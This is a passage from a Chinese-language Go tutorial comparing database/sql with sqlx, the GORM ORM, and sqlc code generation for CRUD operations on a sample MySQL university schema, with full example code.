Go标准库中提供了一个database/sql包，它定义了一些接口和方法，用于访问关系数据库。这个包提供了一个抽象层，可以与各种不同的关系数据库驱动程序进行交互。比如database/sql包定义了一些接口，如DB、Conn、Stmt等，用于表示数据库连接、语句执行等操作。数据库驱动包需要实现这些接口，并提供了具体的数据库交互逻辑。\nGo应用使用database/sql包时，应用首先需要导入数据库驱动程序，然后使用sql.Open函数连接到数据库。这个函数返回一个*sql.DB对象，代表数据库连接。之后，Go应用便可以使用DB对象执行各种SQL操作,如DB.Query、DB.Exec等。这些函数会调用驱动程序中实现的具体方法来与数据库交互。 对于对于复杂的数据库查询操作，Go应用还可以使用DB对象创建*sql.Stmt对象，后者表示预编译好的SQL语句，这样可以提高操作性能。\n总的来说，database/sql包提供了一个标准化的接口，让应用程序可以方便地访问不同的关系数据库，而不需要关心底层的实现细节。这使得Go程序可以跨数据库平台运行。\n下面我们就基于go-sql-driver/mysql提供的MySQL驱动来实现对MySQL中示例表的各种操作。\n3.1 初始化数据库连接 我们首先需要在代码中初始化数据库连接。以下是初始化代码示例：\n// database-access/stdlib/main.go package main import ( \u0026#34;database/sql\u0026#34; \u0026#34;fmt\u0026#34; _ \u0026#34;github.com/go-sql-driver/mysql\u0026#34; // 注册mysql driver \u0026#34;log\u0026#34; ) func main() { dsn := \u0026#34;root:123456@tcp(127.0.0.1:4407)/example_db\u0026#34; db, err := sql.Open(\u0026#34;mysql\u0026#34;, dsn) if err != nil { log.Fatal(err) } defer db.Close() // 测试数据库连接 if err := db.Ping(); err != nil { log.Fatal(err) } fmt.Println(\u0026#34;Connected to the database successfully!\u0026#34;) } 拿到数据库实例(*sql.DB对象)后，我们便可以基于该实例对数据库表进行各种操作了！接下来，我们逐一看一下。\n3.2 插入数据（Create） 以下是通过Go标准库database/sql包方式插入数据的代码示例：\nfunc insertData(db *sql.DB) { // 插入department数据 _, err := db.Exec(\u0026#34;INSERT INTO department (name) VALUES (\u0026#39;Computer Science\u0026#39;), (\u0026#39;Mathematics\u0026#39;)\u0026#34;) if err != nil { log.Fatal(err) } // 插入instructor数据 _, err = db.Exec(\u0026#34;INSERT INTO instructor (name, dept_id) VALUES (\u0026#39;John Doe\u0026#39;, 1), (\u0026#39;Jane Smith\u0026#39;, 2)\u0026#34;) if err != nil { log.Fatal(err) } // 插入course数据 _, err = db.Exec(\u0026#34;INSERT INTO course (title, dept_id) VALUES (\u0026#39;Database Systems\u0026#39;, 1), (\u0026#39;Calculus\u0026#39;, 2)\u0026#34;) if err != nil { log.Fatal(err) } // 插入student数据 _, err = db.Exec(\u0026#34;INSERT INTO student (name, dept_id) VALUES (\u0026#39;Alice\u0026#39;, 1), (\u0026#39;Bob\u0026#39;, 2)\u0026#34;) if err != nil { log.Fatal(err) } // 插入enrollment数据 _, err = db.Exec(\u0026#34;INSERT INTO enrollment (student_id, course_id, semester, year) VALUES (1, 1, \u0026#39;Fall\u0026#39;, 2024), (2, 2, \u0026#39;Fall\u0026#39;, 2024)\u0026#34;) if err != nil { log.Fatal(err) } fmt.Println(\u0026#34;Data inserted successfully!\u0026#34;) } 3.3 查询数据（Retrieve） 以下是查询数据的代码示例：\nfunc queryData(db *sql.DB) { // 查询所有学生的信息 rows, err := db.Query(\u0026#34;SELECT * FROM student\u0026#34;) if err != nil { log.Fatal(err) } defer rows.Close() for rows.Next() { var studentID int var name string var deptID int err := rows.Scan(\u0026amp;studentID, \u0026amp;name, \u0026amp;deptID) if err != nil { log.Fatal(err) } fmt.Printf(\u0026#34;Student ID: %d, Name: %s, Department ID: %d\\n\u0026#34;, studentID, name, deptID) } // 查询某个院系的课程信息 rows, err = db.Query(\u0026#34;SELECT * FROM course WHERE dept_id = ?\u0026#34;, 1) if err != nil { log.Fatal(err) } defer rows.Close() for rows.Next() { var courseID int var title string var deptID int err := rows.Scan(\u0026amp;courseID, \u0026amp;title, \u0026amp;deptID) if err != nil { log.Fatal(err) } fmt.Printf(\u0026#34;Course ID: %d, Title: %s, Department ID: %d\\n\u0026#34;, courseID, title, deptID) } // 查询某个学生的选课信息 rows, err = db.Query(\u0026#34;SELECT * FROM enrollment WHERE student_id = ?\u0026#34;, 1) if err != nil { log.Fatal(err) } defer rows.Close() for rows.Next() { var studentID int var courseID int var semester string var year int err := rows.Scan(\u0026amp;studentID, \u0026amp;courseID, \u0026amp;semester, \u0026amp;year) if err != nil { log.Fatal(err) } fmt.Printf(\u0026#34;Student ID: %d, Course ID: %d, Semester: %s, Year: %d\\n\u0026#34;, studentID, courseID, semester, year) } } 3.4 更新数据（Update） 以下是更新数据的代码示例：\nfunc updateData(db *sql.DB) { // 更新某个学生的姓名 _, err := db.Exec(\u0026#34;UPDATE student SET name = \u0026#39;Alice Johnson\u0026#39; WHERE student_id = ?\u0026#34;, 1) if err != nil { log.Fatal(err) } // 更新某个课程的标题 _, err = db.Exec(\u0026#34;UPDATE course SET title = \u0026#39;Advanced Database Systems\u0026#39; WHERE course_id = ?\u0026#34;, 1) if err != nil { log.Fatal(err) } fmt.Println(\u0026#34;Data updated successfully!\u0026#34;) } 3.5 删除数据（Delete） 以下是删除数据的代码示例：\nfunc deleteData(db *sql.DB) { // 删除某个学生的选课记录 _, err := db.Exec(\u0026#34;DELETE FROM enrollment WHERE student_id = ? AND course_id = ? AND semester = ? AND year = ?\u0026#34;, 1, 1, \u0026#34;Fall\u0026#34;, 2024) if err != nil { log.Fatal(err) } // 删除某个课程 _, err = db.Exec(\u0026#34;DELETE FROM course WHERE course_id = ?\u0026#34;, 1) if err != nil { log.Fatal(err) } fmt.Println(\u0026#34;Data deleted successfully!\u0026#34;) } 注：上述示例的完整代码可以参见database-access/stdlib/main.go。\n通过上述代码示例，我们展示了如何使用Go标准库和MySQL驱动程序来进行数据库连接和基本的CRUD操作。我们看到直接使用Go标准库的database/sql包来访问和操作数据库确实是比较基础和原始的方式，基本上是手动拼接SQL语句和处理结果，这种方式确实比较低级和繁琐。\nsqlx包在一定程度上提升了Go标准库访问数据库的体验，并完全兼容database/sql包的接口，接下来，我们就来看看如何使用database/sql的扩展库sqlx来访问和操作数据库。\n3.6 使用sqlx扩展库访问MySQL数据库 sqlx是一个扩展库，它在Go的标准database/sql库之上提供了一系列扩展。sqlx版本的sql.DB、sql.TX、sql.Stmt等所有接口都保留了底层接口不变，这意味着它们的接口是标准库接口的超集，这使得我们可以无缝地将现有使用database/sql的代码集成到sqlx中。sqlx的主要扩展功能包括：\n将查询结果中的行数据直接解析到结构体(支持嵌入式结构体)、map和切片中，无需手工解析； 支持命名参数查询（Named queries），包括预编译语句(prepared statement)； 提供一些常用的辅助函数，如Get、Select方法可以快速从查询结果转换为结构体/切片。 sqlx在保持database/sql接口不变的情况下，提供了许多额外的功能和便利性，使得在Go中访问关系型数据库变得更加简单高效。下面是使用sqlx实现的上面示例操作的完整代码：\n// database-access/sqlx/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; _ \u0026#34;github.com/go-sql-driver/mysql\u0026#34; \u0026#34;github.com/jmoiron/sqlx\u0026#34; ) func main() { dsn := \u0026#34;root:123456@tcp(127.0.0.1:4407)/example_db\u0026#34; db, err := sqlx.Connect(\u0026#34;mysql\u0026#34;, dsn) if err != nil { log.Fatal(err) } defer db.Close() fmt.Println(\u0026#34;Connected to the database successfully!\u0026#34;) insertData(db) queryData(db) updateData(db) queryData(db) // 查看更新后的数据 deleteData(db) queryData(db) // 查看删除后的数据 } func insertData(db *sqlx.DB) { // 插入department数据 _, err := db.NamedExec(`INSERT INTO department (name) VALUES (:name)`, []map[string]interface{}{ {\u0026#34;name\u0026#34;: \u0026#34;Computer Science\u0026#34;}, {\u0026#34;name\u0026#34;: \u0026#34;Mathematics\u0026#34;}, }) if err != nil { log.Fatal(err) } // 插入instructor数据 _, err = db.NamedExec(`INSERT INTO instructor (name, dept_id) VALUES (:name, :dept_id)`, []map[string]interface{}{ {\u0026#34;name\u0026#34;: \u0026#34;John Doe\u0026#34;, \u0026#34;dept_id\u0026#34;: 1}, {\u0026#34;name\u0026#34;: \u0026#34;Jane Smith\u0026#34;, \u0026#34;dept_id\u0026#34;: 2}, }) if err != nil { log.Fatal(err) } // 插入course数据 _, err = db.NamedExec(`INSERT INTO course (title, dept_id) VALUES (:title, :dept_id)`, []map[string]interface{}{ {\u0026#34;title\u0026#34;: \u0026#34;Database Systems\u0026#34;, \u0026#34;dept_id\u0026#34;: 1}, {\u0026#34;title\u0026#34;: \u0026#34;Calculus\u0026#34;, \u0026#34;dept_id\u0026#34;: 2}, }) if err != nil { log.Fatal(err) } // 插入student数据 _, err = db.NamedExec(`INSERT INTO student (name, dept_id) VALUES (:name, :dept_id)`, []map[string]interface{}{ {\u0026#34;name\u0026#34;: \u0026#34;Alice\u0026#34;, \u0026#34;dept_id\u0026#34;: 1}, {\u0026#34;name\u0026#34;: \u0026#34;Bob\u0026#34;, \u0026#34;dept_id\u0026#34;: 2}, }) if err != nil { log.Fatal(err) } // 插入enrollment数据 _, err = db.NamedExec(`INSERT INTO enrollment (student_id, course_id, semester, year) VALUES (:student_id, :course_id, :semester, :year)`, []map[string]interface{}{ {\u0026#34;student_id\u0026#34;: 1, \u0026#34;course_id\u0026#34;: 1, \u0026#34;semester\u0026#34;: \u0026#34;Fall\u0026#34;, \u0026#34;year\u0026#34;: 2024}, {\u0026#34;student_id\u0026#34;: 2, \u0026#34;course_id\u0026#34;: 2, \u0026#34;semester\u0026#34;: \u0026#34;Fall\u0026#34;, \u0026#34;year\u0026#34;: 2024}, }) if err != nil { log.Fatal(err) } fmt.Println(\u0026#34;Data inserted successfully!\u0026#34;) } type Student struct { StudentID int `db:\u0026#34;student_id\u0026#34;` Name string `db:\u0026#34;name\u0026#34;` DeptID int `db:\u0026#34;dept_id\u0026#34;` } type Course struct { CourseID int `db:\u0026#34;course_id\u0026#34;` Title string `db:\u0026#34;title\u0026#34;` DeptID int `db:\u0026#34;dept_id\u0026#34;` } type Enrollment struct { StudentID int `db:\u0026#34;student_id\u0026#34;` CourseID int `db:\u0026#34;course_id\u0026#34;` Semester string `db:\u0026#34;semester\u0026#34;` Year int `db:\u0026#34;year\u0026#34;` } func queryData(db *sqlx.DB) { // 查询所有学生的信息 var students []Student err := db.Select(\u0026amp;students, \u0026#34;SELECT * FROM student\u0026#34;) if err != nil { log.Fatal(err) } for _, student := range students { fmt.Printf(\u0026#34;Student ID: %d, Name: %s, Department ID: %d\\n\u0026#34;, student.StudentID, student.Name, student.DeptID) } // 查询某个院系的课程信息 var courses []Course err = db.Select(\u0026amp;courses, \u0026#34;SELECT * FROM course WHERE dept_id = ?\u0026#34;, 1) if err != nil { log.Fatal(err) } for _, course := range courses { fmt.Printf(\u0026#34;Course ID: %d, Title: %s, Department ID: %d\\n\u0026#34;, course.CourseID, course.Title, course.DeptID) } // 查询某个学生的选课信息 var enrollments []Enrollment err = db.Select(\u0026amp;enrollments, \u0026#34;SELECT * FROM enrollment WHERE student_id = ?\u0026#34;, 1) if err != nil { log.Fatal(err) } for _, enrollment := range enrollments { fmt.Printf(\u0026#34;Student ID: %d, Course ID: %d, Semester: %s, Year: %d\\n\u0026#34;, enrollment.StudentID, enrollment.CourseID, enrollment.Semester, enrollment.Year) } } func updateData(db *sqlx.DB) { // 更新某个学生的姓名 _, err := db.NamedExec(\u0026#34;UPDATE student SET name = :name WHERE student_id = :student_id\u0026#34;, map[string]interface{}{ \u0026#34;name\u0026#34;: \u0026#34;Alice Johnson\u0026#34;, \u0026#34;student_id\u0026#34;: 1, }) if err != nil { log.Fatal(err) } // 更新某个课程的标题 _, err = db.NamedExec(\u0026#34;UPDATE course SET title = :title WHERE course_id = :course_id\u0026#34;, map[string]interface{}{ \u0026#34;title\u0026#34;: \u0026#34;Advanced Database Systems\u0026#34;, \u0026#34;course_id\u0026#34;: 1, }) if err != nil { log.Fatal(err) } fmt.Println(\u0026#34;Data updated successfully!\u0026#34;) } func deleteData(db *sqlx.DB) { // 删除某个学生的选课记录 _, err := db.NamedExec(\u0026#34;DELETE FROM enrollment WHERE student_id = :student_id AND course_id = :course_id AND semester = :semester AND year = :year\u0026#34;, map[string]interface{}{ \u0026#34;student_id\u0026#34;: 1, \u0026#34;course_id\u0026#34;: 1, \u0026#34;semester\u0026#34;: \u0026#34;Fall\u0026#34;, \u0026#34;year\u0026#34;: 2024, }) if err != nil { log.Fatal(err) } // 删除某个课程 _, err = db.NamedExec(\u0026#34;DELETE FROM course WHERE course_id = :course_id\u0026#34;, map[string]interface{}{ \u0026#34;course_id\u0026#34;: 1, }) if err != nil { log.Fatal(err) } fmt.Println(\u0026#34;Data deleted successfully!\u0026#34;) } 我们看到：相较于直接使用database/sql，sqlx的named query/exec和直接将结果写入结构体/map/slices的确非常方便！ 代码也显得更加简洁、易读。\n不过要说方便和易读，对象关系映射(ORM)方式说自己第二，没人敢说是第一。下面我们就来看看在Go中访问和操作数据库最常使用的方式：ORM方式。\n4. 使用ORM库访问数据库 ORM（Object-Relational Mapping）是一种通过对象方式来操作数据库的方法，它将数据库中的表映射为程序中的对象，使开发者可以使用面向对象的方式操作数据库。使用ORM库可以简化数据库操作，提高开发效率，同时也能减少手写SQL带来的错误风险。\nGo社区有几个很受欢迎的ORM库，比如gorm、xorm等。接下来我将以最常用的Go ORM库GORM来说明一下如何使用ORM访问和操作数据库。\nGORM是一个功能强大的Go ORM库，它提供了丰富的特性，如自动迁移(migrate)、关联、钩子、事务、复合主键等。GORM支持多种数据库，包括MySQL、PostgreSQL、SQLite等。\n和采用原生database/sql的方式不同，使用ORM方式访问数据库，我们首先先要定义表对应的对象，即创建对象模型。\n4.1 创建对象模型 下面的各个结构体类型对应的就是示例中各个表，gorm通过struct field tag来将结构体字段与表的列字段对应在一起：\n// database-access/gorm/main.go type Department struct { ID uint `gorm:\u0026#34;primaryKey\u0026#34;` Name string `gorm:\u0026#34;size:100;not null\u0026#34;` } type Instructor struct { ID uint `gorm:\u0026#34;primaryKey\u0026#34;` Name string `gorm:\u0026#34;size:100;not null\u0026#34;` DeptID uint Dept Department `gorm:\u0026#34;foreignKey:DeptID\u0026#34;` } type Course struct { ID uint `gorm:\u0026#34;primaryKey\u0026#34;` Title string `gorm:\u0026#34;size:100;not null\u0026#34;` DeptID uint Dept Department `gorm:\u0026#34;foreignKey:DeptID\u0026#34;` } type Student struct { ID uint `gorm:\u0026#34;primaryKey\u0026#34;` Name string `gorm:\u0026#34;size:100;not null\u0026#34;` DeptID uint Dept Department `gorm:\u0026#34;foreignKey:DeptID\u0026#34;` } type Enrollment struct { ID uint `gorm:\u0026#34;primaryKey\u0026#34;` StudentID uint CourseID uint Semester string `gorm:\u0026#34;size:50;not null\u0026#34;` Year int `gorm:\u0026#34;not null\u0026#34;` Student Student `gorm:\u0026#34;foreignKey:StudentID\u0026#34;` Course Course `gorm:\u0026#34;foreignKey:CourseID\u0026#34;` CreatedAt time.Time UpdatedAt time.Time } 4.2 CRUD操作示例 下面就是基于上面定义的ORM模型进行CRUD操作的示例代码：\n// database-access/gorm/main.go func main() { dsn := \u0026#34;root:123456@tcp(127.0.0.1:4407)/example_db?charset=utf8mb4\u0026amp;parseTime=True\u0026amp;loc=Local\u0026#34; db, err := gorm.Open(mysql.Open(dsn), \u0026amp;gorm.Config{ NamingStrategy: schema.NamingStrategy{ SingularTable: true, }, }) if err != nil { log.Fatal(err) } // 自动迁移模式 db.AutoMigrate(\u0026amp;Department{}, \u0026amp;Instructor{}, \u0026amp;Course{}, \u0026amp;Student{}, \u0026amp;Enrollment{}) // 执行CRUD操作 createData(db) queryData(db) updateData(db) deleteData(db) } func createData(db *gorm.DB) { // 创建院系 cs := Department{Name: \u0026#34;Computer Science\u0026#34;} math := Department{Name: \u0026#34;Mathematics\u0026#34;} db.Create(\u0026amp;cs) db.Create(\u0026amp;math) // 创建教师 db.Create(\u0026amp;Instructor{Name: \u0026#34;John Doe\u0026#34;, DeptID: cs.ID}) db.Create(\u0026amp;Instructor{Name: \u0026#34;Jane Smith\u0026#34;, DeptID: math.ID}) // 创建课程 db.Create(\u0026amp;Course{Title: \u0026#34;Database Systems\u0026#34;, DeptID: cs.ID}) db.Create(\u0026amp;Course{Title: \u0026#34;Calculus\u0026#34;, DeptID: math.ID}) // 创建学生 db.Create(\u0026amp;Student{Name: \u0026#34;Alice\u0026#34;, DeptID: cs.ID}) db.Create(\u0026amp;Student{Name: \u0026#34;Bob\u0026#34;, DeptID: math.ID}) // 学生选课 db.Create(\u0026amp;Enrollment{StudentID: 1, CourseID: 1, Semester: \u0026#34;Fall\u0026#34;, Year: 2024}) db.Create(\u0026amp;Enrollment{StudentID: 2, CourseID: 2, Semester: \u0026#34;Fall\u0026#34;, Year: 2024}) } func queryData(db *gorm.DB) { // 查询所有学生 var students []Student db.Find(\u0026amp;students) for _, student := range students { log.Printf(\u0026#34;Student ID: %d, Name: %s, Department ID: %d\\n\u0026#34;, student.ID, student.Name, student.DeptID) } // 查询某个院系的课程 var courses []Course db.Where(\u0026#34;dept_id = ?\u0026#34;, 1).Find(\u0026amp;courses) for _, course := range courses { log.Printf(\u0026#34;Course ID: %d, Title: %s, Department ID: %d\\n\u0026#34;, course.ID, course.Title, course.DeptID) } // 查询某个学生的选课信息 var enrollments []Enrollment db.Where(\u0026#34;student_id = ?\u0026#34;, 1).Find(\u0026amp;enrollments) for _, enrollment := range enrollments { log.Printf(\u0026#34;Student ID: %d, Course ID: %d, Semester: %s, Year: %d\\n\u0026#34;, enrollment.StudentID, enrollment.CourseID, enrollment.Semester, enrollment.Year) } } func updateData(db *gorm.DB) { // 更新学生姓名 db.Model(\u0026amp;Student{}).Where(\u0026#34;id = ?\u0026#34;, 1).Update(\u0026#34;name\u0026#34;, \u0026#34;Alice Johnson\u0026#34;) // 更新课程标题 db.Model(\u0026amp;Course{}).Where(\u0026#34;id = ?\u0026#34;, 1).Update(\u0026#34;title\u0026#34;, \u0026#34;Advanced Database Systems\u0026#34;) } func deleteData(db *gorm.DB) { // 删除选课记录 db.Where(\u0026#34;course_id = ?\u0026#34;, 1).Delete(\u0026amp;Enrollment{}) // 删除课程 db.Where(\u0026#34;id = ?\u0026#34;, 1).Delete(\u0026amp;Course{}) } 我们看到GORM提供了大量的便捷方法，可以大幅度简化SQL操作。例如，插入记录只需调用Create方法，而不需要手写SQL语句。GORM还提供了多种钩子函数（如BeforeCreate, AfterCreate, BeforeUpdate, AfterUpdate等），可以在特定操作前后执行自定义逻辑。这对于实现复杂业务逻辑非常有帮助。示例里没有使用钩子函数，大家可以自行试验。\n日常使用数据库，查询操作占比最大，GORM的查询构造器允许开发人员使用链式方法调用来构造复杂的查询条件，例如，我们可以使用Where, Or, Order, Limit, Offset等方法来构建查询。\nGORM还提供了AutoMigrate方法，可以根据模型结构自动创建或更新数据库表，这在开发环境中十分实用，减少了手动管理数据库结构的复杂性。\n此外，GORM支持一对一、一对多和多对多等多种关联关系，并且可以通过简单的模型定义和方法调用来操作这些关系。就像例子中那样，我们可以通过定义foreignKey来自动管理外键约束。\n总之，ORM方式的数据库访问和操作大幅降低了开发人员使用数据库的复杂性，提高了生产效率。不过由于引入了一层新的抽象，在表数据量较大的情况下，ORM方式的性能相对于原生SQL要低一些，这个我们在后面的对比各种方式的性能一节会再说。\nGo开发人员在使用数据库时，往往希望能够在以下几个方面达到平衡：\n性能 Go标准库的database/sql包提供了直接操作SQL语句的方式，可以发挥底层数据库引擎的性能优势。相比之下，ORM库在一定程度上会增加性能开销。\n开发体验 ORM 库能够提供更高级的抽象和自动化，简化了许多数据库操作的样板代码，使得开发体验更加友好，生产力也相对较高。\n类型安全 ORM库通常能够提供更好的类型安全性，减少手动拼接SQL语句时出错的风险。\n简单来说，就是我们希望“既要..，也要…，还要…”，于是便有了以代码生成方式访问和操作数据库的代表sqlc。接下来我们就来看看如何sqlc是如何用代码生成方式来访问和操作数据库的。\n5. 使用代码生成方式访问数据库 sqlc是一个强大的工具，它可以将针对数据库的操作，比如SQL查询等，直接生成类型安全的Go代码。它不仅保留了SQL的灵活性和可读性，同时也提供了编译时的类型检查，可以避免手写SQL代码中的错误。\n5.1 安装sqlc 和上面的两种方式不同，使用sqlc，我们需要首先安装sqlc cmdline工具，这个工具用来基于sqlc定义的一套SQL dsl语法生成相应的Go代码。\n通过下面命令可以实现sqlc工具的安装：\n$go install github.com/sqlc-dev/sqlc/cmd/sqlc@latest 安装后，输入下面命令验证一下sqlc的安装结果，如果输出下面内容，则说明安装ok了：\n$sqlc -h Usage: sqlc [command] Available Commands: compile Statically check SQL for syntax and type errors completion Generate the autocompletion script for the specified shell createdb Create an ephemeral database diff Compare the generated files to the existing files generate Generate source code from SQL help Help about any command init Create an empty sqlc.yaml settings file push Push the schema, queries, and configuration for this project verify Verify schema, queries, and configuration for this project version Print the sqlc version number vet Vet examines queries Flags: -f, --file string specify an alternate config file (default: sqlc.yaml) -h, --help help for sqlc --no-remote disable remote execution (default: false) --remote enable remote execution (default: false) Use \u0026#34;sqlc [command] --help\u0026#34; for more information about a command. 5.2 初始化和配置sqlc项目 下面是sqlc的代码生成上的输入与输出示意图：\n我们看到要生成Go代码，我们需要提供三个输入文件，其中sqlc.yaml是sqlc项目的主配置文件，它是个yaml格式文件，在我们这个示例中，它的内容如下：\n// database-access/sqlc/sqlc.yaml version: \u0026#34;2\u0026#34; sql: - name: \u0026#34;db\u0026#34; engine: \u0026#34;mysql\u0026#34; queries: \u0026#34;queries.sql\u0026#34; schema: \u0026#34;schema.sql\u0026#34; gen: go: package: \u0026#34;db\u0026#34; out: \u0026#34;db\u0026#34; 这个文件可以使用sqlc init生成一个模板，然后再向其中填写具体内容。上述sqlc.yaml的内容不难理解，其中engine表示生成的代码将用于与MySQL交互，schema是数据库模式文件，queries.sql中定义了与数据库的所有交互语句，而在gen段中，package是输出的代码的包名，而out则是输出到哪个目录下。\n接下来，我们再来看看schema.sql和queries.sql。\n5.3 创建数据库模式和查询文件 schema.sql文件的内容与我们\n-- schema.sql CREATE TABLE department ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(100) NOT NULL ); CREATE TABLE instructor ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(100) NOT NULL, dept_id INT, FOREIGN KEY (dept_id) REFERENCES department(id) ); CREATE TABLE course ( id INT AUTO_INCREMENT PRIMARY KEY, title VARCHAR(100) NOT NULL, dept_id INT, FOREIGN KEY (dept_id) REFERENCES department(id) ); CREATE TABLE student ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(100) NOT NULL, dept_id INT, FOREIGN KEY (dept_id) REFERENCES department(id) ); CREATE TABLE enrollment ( student_id INT, course_id INT, semester VARCHAR(50) NOT NULL, year INT NOT NULL, PRIMARY KEY (student_id, course_id, semester, year), FOREIGN KEY (student_id) REFERENCES student(id), FOREIGN KEY (course_id) REFERENCES course(id) ); 没错，这就是一些建表语句，后续sqlc执行生成命令时会参考这些表以及约束。queries.sql则是我们要使用的数据库dml语句：\n-- name: CreateDepartment :execresult INSERT INTO department ( name ) VALUES ( ? ); -- name: GetDepartments :many SELECT id, name FROM department; -- name: CreateInstructor :execresult INSERT INTO instructor ( name, dept_id ) VALUES ( ?, ? ); -- name: GetInstructors :many SELECT id, name, dept_id FROM instructor; -- name: CreateCourse :execresult INSERT INTO course ( title, dept_id ) VALUES ( ?, ? ); -- name: GetCoursesByDept :many SELECT id, title, dept_id FROM course WHERE dept_id = ?; -- name: CreateStudent :execresult INSERT INTO student ( name, dept_id ) VALUES ( ?, ? ); -- name: GetStudents :many SELECT id, name, dept_id FROM student; -- name: EnrollStudent :execresult INSERT INTO enrollment ( student_id, course_id, semester, year ) VALUES ( ?, ?, ?, ? ); -- name: GetEnrollmentByStudent :many SELECT student_id, course_id, semester, year FROM enrollment WHERE student_id = ?; -- name: UpdateStudentName :exec UPDATE student SET name = ? WHERE id = ?; -- name: UpdateCourseTitle :exec UPDATE course SET title = ? WHERE id = ?; -- name: DeleteStudent :exec DELETE FROM student WHERE id = ?; -- name: DeleteCourse :exec DELETE FROM course WHERE id = ?; -- name: DeleteEnrollmentByCourseID :exec DELETE FROM enrollment WHERE course_id = ?; 务必注意：针对不同的数据库，queries.sql中使用的语法有所不同，关于queries.sql的DSL语法形式的详细内容，可参考sqlc docs。\n5.4 生成代码 在项目sqlc根目录下运行下面sqlc命令可以在指定的db目录下生成包名为db的Go代码：\n$sqlc generate $tree db db ├── db.go ├── models.go └── queries.sql.go 其中queries.sql.go是对应queries.sql中所有dml操作的方法。下面摘录queries.sql.go的代码片段：\n// Code generated by sqlc. DO NOT EDIT. // versions: // sqlc v1.26.0 // source: queries.sql package db import ( \u0026#34;context\u0026#34; \u0026#34;database/sql\u0026#34; ) const createCourse = `-- name: CreateCourse :execresult INSERT INTO course ( title, dept_id ) VALUES ( ?, ? ) ` type CreateCourseParams struct { Title string DeptID sql.NullInt32 } func (q *Queries) CreateCourse(ctx context.Context, arg CreateCourseParams) (sql.Result, error) { return q.db.ExecContext(ctx, createCourse, arg.Title, arg.DeptID) } const createDepartment = `-- name: CreateDepartment :execresult INSERT INTO department ( name ) VALUES ( ? ) ` func (q *Queries) CreateDepartment(ctx context.Context, name string) (sql.Result, error) { return q.db.ExecContext(ctx, createDepartment, name) } ... ... 我们看到，queries.sql中的操作都以Queries类型的方法形式存在，在后面的使用过程中，我们可以体会这种方式带来的编码时的便利。\n5.5 使用生成的代码访问和操作数据库 下面是使用生成的Go代码进行数据库操作的示例，我们需要先初始化数据库连接并创建Queries实例，然后基于创建的Queries实例的方法进行数据库表操作：\n// database-access/sqlc/main.go package main import ( \u0026#34;context\u0026#34; \u0026#34;database/sql\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;demo/db\u0026#34; _ \u0026#34;github.com/go-sql-driver/mysql\u0026#34; ) func main() { dsn := \u0026#34;root:123456@tcp(127.0.0.1:4407)/example_db\u0026#34; conn, err := sql.Open(\u0026#34;mysql\u0026#34;, dsn) if err != nil { log.Fatal(err) } defer conn.Close() queries := db.New(conn) // 执行CRUD操作 createData(queries) queryData(queries) updateData(queries) deleteData(queries) } func createData(queries *db.Queries) { ctx := context.Background() // 创建部门 _, err := queries.CreateDepartment(ctx, \u0026#34;Computer Science\u0026#34;) if err != nil { log.Fatal(err) } _, err = queries.CreateDepartment(ctx, \u0026#34;Mathematics\u0026#34;) if err != nil { log.Fatal(err) } // 创建教师 _, err = queries.CreateInstructor(ctx, db.CreateInstructorParams{Name: \u0026#34;John Doe\u0026#34;, DeptID: sql.NullInt32{1, true}}) if err != nil { log.Fatal(err) } _, err = queries.CreateInstructor(ctx, db.CreateInstructorParams{Name: \u0026#34;Jane Smith\u0026#34;, DeptID: sql.NullInt32{2, true}}) if err != nil { log.Fatal(err) } // 创建课程 _, err = queries.CreateCourse(ctx, db.CreateCourseParams{Title: \u0026#34;Database Systems\u0026#34;, DeptID: sql.NullInt32{1, true}}) if err != nil { log.Fatal(err) } _, err = queries.CreateCourse(ctx, db.CreateCourseParams{Title: \u0026#34;Calculus\u0026#34;, DeptID: sql.NullInt32{2, true}}) if err != nil { log.Fatal(err) } // 创建学生 _, err = queries.CreateStudent(ctx, db.CreateStudentParams{Name: \u0026#34;Alice\u0026#34;, DeptID: sql.NullInt32{1, true}}) if err != nil { log.Fatal(err) } _, err = queries.CreateStudent(ctx, db.CreateStudentParams{Name: \u0026#34;Bob\u0026#34;, DeptID: sql.NullInt32{2, true}}) if err != nil { log.Fatal(err) } // 学生选课 _, err = queries.EnrollStudent(ctx, db.EnrollStudentParams{StudentID: sql.NullInt32{1, true}, CourseID: sql.NullInt32{1, true}, Semester: \u0026#34;Fall\u0026#34;, Year: 2024}) if err != nil { log.Fatal(err) } _, err = queries.EnrollStudent(ctx, db.EnrollStudentParams{StudentID: sql.NullInt32{2, true}, CourseID: sql.NullInt32{2, true}, Semester: \u0026#34;Fall\u0026#34;, Year: 2024}) if err != nil { log.Fatal(err) } } func queryData(queries *db.Queries) { ctx := context.Background() // 查询所有学生 students, err := queries.GetStudents(ctx) if err != nil { log.Fatal(err) } for _, student := range students { fmt.Printf(\u0026#34;Student ID: %d, Name: %s, Department ID: %d\\n\u0026#34;, student.ID, student.Name, student.DeptID.Int32) } // 查询某个部门的课程 courses, err := queries.GetCoursesByDept(ctx, sql.NullInt32{1, true}) if err != nil { log.Fatal(err) } for _, course := range courses { fmt.Printf(\u0026#34;Course ID: %d, Title: %s, Department ID: %d\\n\u0026#34;, course.ID, course.Title, course.DeptID.Int32) } // 查询某个学生的选课信息 enrollments, err := queries.GetEnrollmentByStudent(ctx, sql.NullInt32{1, true}) if err != nil { log.Fatal(err) } for _, enrollment := range enrollments { fmt.Printf(\u0026#34;Student ID: %d, Course ID: %d, Semester: %s, Year: %d\\n\u0026#34;, enrollment.StudentID.Int32, enrollment.CourseID.Int32, enrollment.Semester, enrollment.Year) } } func updateData(queries *db.Queries) { ctx := context.Background() // 更新学生姓名 err := queries.UpdateStudentName(ctx, db.UpdateStudentNameParams{ID: 1, Name: \u0026#34;Alice Johnson\u0026#34;}) if err != nil { log.Fatal(err) } // 更新课程标题 err = queries.UpdateCourseTitle(ctx, db.UpdateCourseTitleParams{ID: 1, Title: \u0026#34;Advanced Database Systems\u0026#34;}) if err != nil { log.Fatal(err) } } func deleteData(queries *db.Queries) { ctx := context.Background() // 删除选课记录 err := queries.DeleteEnrollmentByCourseID(ctx, sql.NullInt32{1, true}) if err != nil { log.Fatal(err) } // 删除课程 err = queries.DeleteCourse(ctx, 1) if err != nil { log.Fatal(err) } // 删除学生 err = queries.DeleteStudent(ctx, 1) if err != nil { log.Fatal(err) } } 